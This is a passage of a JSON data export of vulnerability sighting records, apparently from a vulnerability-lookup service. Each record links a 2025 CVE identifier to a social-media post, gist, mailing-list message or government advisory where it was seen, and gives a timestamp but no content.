"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4519", "type": "seen", "source": "https://gist.github.com/Darkcrai86/57ca80cd0c4119b5be38f0da2ba18ca8", "content": "", "creation_timestamp": "2025-11-07T07:50:08.000000Z"}, {"uuid": "c46eb4c0-7537-4d96-adf1-0f10a34157f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45512", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvtn53bsf425", "content": "", "creation_timestamp": "2025-08-07T21:02:24.769987Z"}, {"uuid": "3aa0c554-3f59-4753-b1b4-8d8c6c692f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4581", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lvxbctv7ro2e", "content": "", "creation_timestamp": "2025-08-09T07:41:31.399763Z"}, {"uuid": "f80e3494-232a-4add-93fb-96b5d21bbe61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45379", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3m4vmeaqlvep2", "content": "", "creation_timestamp": "2025-11-05T17:51:23.514265Z"}, {"uuid": "713ac10c-13f4-428f-b57e-c6187e0e9d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45378", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m4vmiitvqn2b", "content": "", "creation_timestamp": "2025-11-05T17:52:33.934857Z"}, {"uuid": "99646985-951d-4887-8eef-792fbcc39501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45379", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m4vnmcjxap2a", "content": "", "creation_timestamp": "2025-11-05T18:12:35.614529Z"}, {"uuid": "66ba90c9-06cd-45ff-bc98-82608189d207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45988", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lz2qb255de27", "content": "", "creation_timestamp": "2025-09-17T21:02:46.670864Z"}, {"uuid": "108e2383-78eb-487c-b613-c4634ce92c9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45379", "type": "seen", "source": "https://gist.github.com/Darkcrai86/9f39f19416c54f84202937af310f1846", "content": "", "creation_timestamp": "2025-11-05T18:28:41.000000Z"}, {"uuid": "768213f6-cc17-4361-8a86-8ed9e64b3f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45378", "type": "seen", "source": "https://gist.github.com/Darkcrai86/71e693134a2f8bd8d1b88de89a8d02b3", "content": "", "creation_timestamp": "2025-11-05T18:29:09.000000Z"}, {"uuid": "f9853b5b-be14-49b2-85bc-df7b72eb75cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4576", "type": "seen", "source": "https://gist.github.com/bolhasec/e6c336b3013233969c0fdbe523deab57", "content": "", "creation_timestamp": "2025-08-09T22:06:01.000000Z"}, {"uuid": "1a40f17a-c136-47a0-aacb-bad58e9cf93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/raptor.infosec.exchange.ap.brid.gy/post/3lvzskpmgcnf2", "content": "", "creation_timestamp": "2025-08-10T07:55:38.146875Z"}, {"uuid": "da1c8f9b-97b2-49ea-a8dd-c54941b42668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115464283881976620", "content": "", "creation_timestamp": "2025-10-30T17:25:52.518478Z"}, {"uuid": "e5281dce-60b3-415d-92df-2117416fd04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45582", "type": "seen", "source": "https://gist.github.com/gszr/a40573432a259a7a925124168844a175", "content": "", "creation_timestamp": "2025-11-18T19:05:17.000000Z"}, {"uuid": "892c929c-5930-4391-bc03-399cef91735c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45582", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q4/117", "content": "", "creation_timestamp": "2025-11-01T20:35:46.000000Z"}, {"uuid": "09e082cb-068a-4dfd-9fce-22a4f9e62cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45146", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115011027417969198", "content": "", "creation_timestamp": "2025-08-11T16:16:48.124099Z"}, {"uuid": "de5fc6cd-1bab-4049-a29f-75c404092e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45314", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwcklb2lvp2p", "content": "", "creation_timestamp": "2025-08-13T19:26:34.461284Z"}, {"uuid": "efe03704-1b9f-42c6-874c-d3d697032007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45317", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwcku7vne52y", "content": "", "creation_timestamp": "2025-08-13T19:31:35.040849Z"}, {"uuid": "d5813679-3e35-4321-b0b7-0af61e67eb0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45809", "type": "seen", "source": "MISP/1413a78e-c0b3-4092-97e7-909fb9773448", "content": "", "creation_timestamp": "2025-08-14T11:44:22.000000Z"}, {"uuid": "ccb9911a-1cae-4a51-a661-0b406d8fb7a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45938", "type": "seen", "source": "MISP/1413a78e-c0b3-4092-97e7-909fb9773448", "content": "", "creation_timestamp": "2025-08-14T11:44:22.000000Z"}, {"uuid": "eeb2e2c5-b511-402d-8606-d2a5bfdc3fd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45146", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lwfvoh65xc2k", "content": "", "creation_timestamp": "2025-08-15T03:23:11.955872Z"}, {"uuid": "7499942d-12d6-4d10-b700-48ebab573f5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45378", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3m4x62zmxjs2p", "content": "", "creation_timestamp": "2025-11-06T08:40:29.012746Z"}, {"uuid": "64e35afb-3eca-483d-9ca6-73122d370b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q3/120", "content": "", "creation_timestamp": "2025-08-18T00:29:40.000000Z"}, {"uuid": "52a6926e-1fe0-4055-9af4-4f46f3e81b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-45378", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3m4x7crysgp2s", "content": "", "creation_timestamp": "2025-11-06T09:02:03.693452Z"}, {"uuid": "dc6a6bb9-fa81-4cca-9f3f-c29073e662b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/andersonc0d3.bsky.social/post/3lwocu5bdzc2v", "content": "", "creation_timestamp": "2025-08-18T11:40:19.835086Z"}, {"uuid": "d4c89fb4-d83d-4a15-b98d-651017c2d05b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://infosec.exchange/users/andersonc0d3/statuses/115049576653464127", "content": "", "creation_timestamp": "2025-08-18T11:40:22.551663Z"}, {"uuid": "5e519b7e-7544-4187-91f2-aa3c798e3082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lwod353qfl2v", "content": "", "creation_timestamp": "2025-08-18T11:44:14.116703Z"}, {"uuid": "ea2c06d4-547d-4eff-bd16-e3a01489787b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/chrisshort.net/post/3lwpd7xbdwk22", "content": "", "creation_timestamp": "2025-08-18T21:19:36.192050Z"}, {"uuid": "a1abc2e0-7850-4790-bf95-b3fbb08b4376", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/115051854387603381", "content": "", "creation_timestamp": "2025-08-18T21:19:38.066431Z"}, {"uuid": "1c8f6758-2c0a-4a63-a1c9-d3f493b5677a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4519", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3m52mqoxqycf2", "content": "", "creation_timestamp": "2025-11-07T17:41:11.781912Z"}, {"uuid": "6e3a213b-cf4d-4eea-b650-cbdea8e75681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45582", "type": "seen", "source": "https://gist.github.com/oilbeater/39496a6123f3db4bab290adc9417ae01", "content": "", "creation_timestamp": "2025-11-03T06:19:06.000000Z"}, {"uuid": "4234a548-853c-4ae8-83e9-3daaa4243caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/115060856031893471", "content": "", "creation_timestamp": "2025-08-20T11:28:52.123862Z"}, {"uuid": "bd837c19-6ea4-4708-b214-94647b13ee01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45378", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m532fqt33s2k", "content": "", "creation_timestamp": "2025-11-07T21:44:54.192880Z"}, {"uuid": "a58c3042-d954-46d7-b418-ea151288da47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45379", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m532fqt33s2k", "content": "", "creation_timestamp": "2025-11-07T21:44:54.451738Z"}, {"uuid": "b5eb7a81-5128-4709-8468-9e0235f14a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45663", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3m4qhk3gxtro2", "content": "", "creation_timestamp": "2025-11-03T16:41:53.532207Z"}, {"uuid": "0b9bdfac-8a0d-400f-9c49-8d7c03c5b0dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4570", "type": "seen", "source": "MISP/a3c5beab-b790-4171-8b4c-02c8a9678071", "content": "", "creation_timestamp": "2025-09-09T11:53:40.000000Z"}, {"uuid": "4e8c4cfb-0f9c-4b45-b36c-afcc3857c7b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45959", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3m4qsz3xxtpi2", "content": "", "creation_timestamp": "2025-11-03T20:06:23.999462Z"}, {"uuid": "b0f13bb7-0126-4d8a-8198-7de985ba652c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4581", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-05b3d3f8-7ac9641195b00afc", "content": "", "creation_timestamp": "2025-11-22T09:16:23.308663Z"}, {"uuid": "98a4e501-d124-430c-abd8-e9917f1b31cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45959", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m4qyjfnvyz2q", "content": "", "creation_timestamp": "2025-11-03T21:44:30.712039Z"}, {"uuid": "f880c58a-a63e-49c3-9e64-a639f0335f3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45095", "type": "seen", "source": "https://gist.github.com/T4rantell/cd73592950c4ac700b40cc8e8e36494d", "content": "", "creation_timestamp": "2025-10-08T18:14:47.000000Z"}, {"uuid": "36334d60-8a5d-4e03-8510-88814f46df40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45311", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3m6kqzsddxc2o", "content": "", "creation_timestamp": "2025-11-26T21:04:55.741617Z"}, {"uuid": "ea38e09d-0891-462a-9a00-0158f65dd9e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4569", "type": "seen", "source": "MISP/2bceffac-02c3-4c54-a709-6e253b38ec76", "content": "", "creation_timestamp": "2025-09-09T20:56:44.000000Z"}, {"uuid": "8245a5ea-d1f9-4b12-9d1e-71a98ac32eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxvehru5yo2e", "content": "", "creation_timestamp": "2025-09-03T00:23:02.223342Z"}, {"uuid": "7b6ec7e5-12cb-4454-a795-00bbb9e87c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxvehtnres2a", "content": "", "creation_timestamp": "2025-09-03T00:23:03.724160Z"}, {"uuid": "41cf0457-3247-4070-a758-78a703e1e7c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lxvei7pjbs22", "content": "", "creation_timestamp": "2025-09-03T00:24:16.284925Z"}, {"uuid": "d63131d7-b470-491a-b46a-d81fa4667f07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://gist.github.com/Darkcrai86/3b935d22e2eda94bfdaf03e0156ce541", "content": "", "creation_timestamp": "2025-09-03T06:43:19.000000Z"}, {"uuid": "248316a8-44a6-43dc-aa9b-b484d472e45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxypuc25lb2g", "content": "", "creation_timestamp": "2025-09-04T08:24:51.901188Z"}, {"uuid": "1788fc3e-7a43-4b86-a422-8f10f11b9645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxypuc2tzb2h", "content": "", "creation_timestamp": "2025-09-04T08:24:52.504523Z"}, {"uuid": "feae7e84-4f74-46dd-8770-6d4ca3d8f55a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lxypv3bhilb2", "content": "", "creation_timestamp": "2025-09-04T08:26:01.373257Z"}, {"uuid": "4c594faa-4705-41e0-9e90-e6468c039594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45585", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyodtzkk4o2f", "content": "", "creation_timestamp": "2025-09-12T22:48:32.202717Z"}, {"uuid": "779b1ee9-7637-4f8f-94c9-b5db78ecbf25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyodxuiw2a2i", "content": "", "creation_timestamp": "2025-09-12T22:50:41.139910Z"}, {"uuid": "02cc8839-d7c9-42d0-a942-dc39fa16df32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45587", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyoe3ywbai2f", "content": "", "creation_timestamp": "2025-09-12T22:53:00.137791Z"}, {"uuid": "67636a5b-c7bc-43e6-9f85-e22c68482eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45583", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyoeaidaoi2c", "content": "", "creation_timestamp": "2025-09-12T22:55:30.425208Z"}, {"uuid": "c532b6d9-3c93-4208-b229-d7d3bc81f9ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45586", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyoefeqlkr2t", "content": "", "creation_timestamp": "2025-09-12T22:58:14.332468Z"}, {"uuid": "1e5cac7c-ce11-4207-ae95-8a48784bf576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45805", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ly4knrofd42t", "content": "", "creation_timestamp": "2025-09-05T21:02:26.944809Z"}, {"uuid": "d92ad9da-3f0e-4c7d-822e-879c7e84e072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45311", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q4/230", "content": "", "creation_timestamp": "2025-12-03T12:29:58.000000Z"}, {"uuid": "f0337c5f-06a9-4531-9b92-a8aea1462bc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45769", "type": "seen", "source": "https://bsky.app/profile/typo3.com/post/3mfbyzg3ar32p", "content": "", "creation_timestamp": "2026-02-20T11:30:17.144445Z"}, {"uuid": "56091c9c-e3be-4a30-a13a-50b592a204b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45286", "type": "seen", "source": "https://gist.github.com/alon710/60b711663355963d86d4c63986f8804a", "content": "", "creation_timestamp": "2026-03-01T11:10:33.000000Z"}, {"uuid": "85aa76ff-8746-4e84-88c1-811888251ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4521", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfa3vuahhi2d", "content": "", "creation_timestamp": "2026-02-19T17:16:38.955614Z"}, {"uuid": "78fc1bae-b94b-4e61-9676-21c0619d52bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4521", "type": "seen", "source": "https://mastodon.social/ap/users/115755483699003887/statuses/116098424956279178", "content": "", "creation_timestamp": "2026-02-19T17:16:50.371767Z"}, {"uuid": "60e98172-7af1-41d0-9983-de7049d5b5b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45160", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlofqclic2m", "content": "", "creation_timestamp": "2026-01-29T20:56:32.862657Z"}, {"uuid": "3926acae-312b-4798-8023-13cee384d710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-043-06", "content": "", "creation_timestamp": "2026-02-12T11:00:00.000000Z"}, {"uuid": "b51cd71a-8f95-42b2-ac45-f76040e100f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-043-06", "content": "", "creation_timestamp": "2026-02-12T11:00:00.000000Z"}, {"uuid": "a856e20c-817f-4a83-a003-4ace0048be4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/1337sheets.bsky.social/post/3mey4l3mhyt2n", "content": "", "creation_timestamp": "2026-02-16T13:07:14.279982Z"}, {"uuid": "27293b11-db76-435b-ac7c-f67a8f96b3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://gist.github.com/mbijon/e171b6d76ed664ff9e2e38813aa8c61e", "content": "", "creation_timestamp": "2025-12-21T20:45:06.000000Z"}, {"uuid": "39244626-7f64-49be-965c-b40d3aef78d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45493", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115770235900335391", "content": "", "creation_timestamp": "2025-12-23T18:13:30.107849Z"}, {"uuid": "007bfd8f-3f50-403e-bad1-d04d4455c204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45582", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mbr4xpbsxj2h", "content": "", "creation_timestamp": "2026-01-06T14:10:03.558941Z"}, {"uuid": "f31081d6-f559-4a39-a1b5-bbe7fae31e78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4576", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-4576.yaml", "content": "", "creation_timestamp": "2026-03-26T12:26:37.000000Z"}, {"uuid": "0a0c2583-76ba-4c02-9f3a-0ae95bc9fe74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "a40346b5-0a0c-4e58-879d-7656391613e4", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://vulnerability.circl.lu/comment/85c55b2b-8a7a-4d34-89ec-52e38ed8903c", "content": "", "creation_timestamp": "2025-06-25T13:07:32.040392Z"}, {"uuid": "cef8190e-b578-457d-863c-834a6e7ee75a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://vulnerability.circl.lu/comment/09e2751e-496f-4fbc-9420-3e43a39bfbc1", "content": "", "creation_timestamp": "2025-08-18T12:01:31.474934Z"}, {"uuid": "823af430-77c8-4cb3-b10b-7c370313e901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://vulnerability.circl.lu/comment/aec4c0d7-ab5f-4df2-a94e-61552c2ac970", "content": "", "creation_timestamp": "2025-08-18T12:07:43.603887Z"}, {"uuid": "4463fec1-b690-4a8c-b09b-fca595615491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/w5hacksphere.bsky.social/post/3mheabmp64c2w", "content": "", "creation_timestamp": "2026-03-18T19:35:52.790826Z"}, {"uuid": "bd7b6622-999e-4ba5-bf60-dc7bdc0c6213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-45582", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "5942e339-f8ae-42cc-8e20-9834c805bb4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45160", "type": "seen", "source": "https://gist.github.com/BEND0US/49d76897a5bb676d8c3f51425553cc32", "content": "", "creation_timestamp": "2026-01-23T07:19:29.000000Z"}, {"uuid": "eae5936a-7341-47b0-9951-fc8eaaba190c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2025-4575", "type": "seen", "source": 